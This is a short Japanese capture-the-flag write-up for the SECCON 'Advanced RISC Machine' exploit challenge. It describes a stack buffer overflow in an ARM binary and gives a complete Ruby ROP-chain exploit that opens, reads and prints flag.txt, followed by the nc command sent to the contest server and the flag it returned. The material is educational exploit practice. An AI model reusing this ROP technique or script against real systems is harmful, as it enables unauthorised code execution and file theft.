== Advanced RISC Machine (Exploit 300pts) == ARMのバイナリが与えられるので読んで解析した。[[attachment:as.s|解析結果]] 0x4254にある関数は1行データを読み出すのだが、バッファーの大きさを考慮しない。 そのため、バッファーオーバーフローを用いてスタックの状態を任意に書き変えることが出来る。 この問題では、スタックが実行可能じゃないため、関数の戻り先を実行したい命令 + "pop {pc}"にして好きな命令を実行していく。戻り先としては次のものを利用した。 * 0x4270 * r1の先にある文字列を表示し、その文字数をr0に代入する。 * 0x42b0 * {r1,r2,r3,r4,r5,r6,fp}に任意の内容を代入する。 * 0x41bc * r0の内容を出力する。 * 0x404c *システムコールを実行する。 これらを組み合わせて、syscall(5(OPEN), "flag.txt"), read(fd, buf, 40), print(buf)を行うようなexploitを作成した。 {{{#!highlight ruby def print2(offset, start = false) res = [] unless start res = [0x42b0] end res + [offset, 0, 0, 0, 0, 0, 0, 0x4270] end def setr0(number) [0x42b0,'str0.'+(24-number).to_s, 0, 0, 0, 0, 0, 0, 0x4270] end def syscall(r1, r2, r3, r4, r5, r6, fp) [0x42b0, r1, r2, r3, r4, r5, r6, fp, 0x404c] end def putchar() [0x41bc] end def read_without_r0(r1,r2,r3,r4,r5,r6,fp) [0x42b0, r1, r2, r3, r4, r5, r6, fp, 0x4034] end # attack stack = setr0(5) + syscall('str1', 0, 0, 0, 0, 0, 0) + read_without_r0('str4', 40, 0, 0, 0, 0, 0) + print2('str4') stack = stack[1..-1] strs = ['_' * 24 + "\0" * 4, "flag.txt\0\0\0\0", "aaa\0\0\0\0\0", 'END!!!', 'hogefugahofegua'] pos = 0x1fffefd8 + stack.size * 4 strs.each.with_index do |a,i| stack.map!{|a| if a == 'str' + (i).to_s pos elsif a.is_a?(String) && a.start_with?('str' + (i).to_s + '.') l = ('str'+i.to_s+'.').size pos + a[l..-1].to_i else a end } pos += a.size end print stack.pack("I*") + strs*'' print "\n" }}} {{{ $ ruby exploit.rb | nc micro.pwn.seccon.jp 10001 Input password: _____SECCON{TeaBreakAtWork} }}}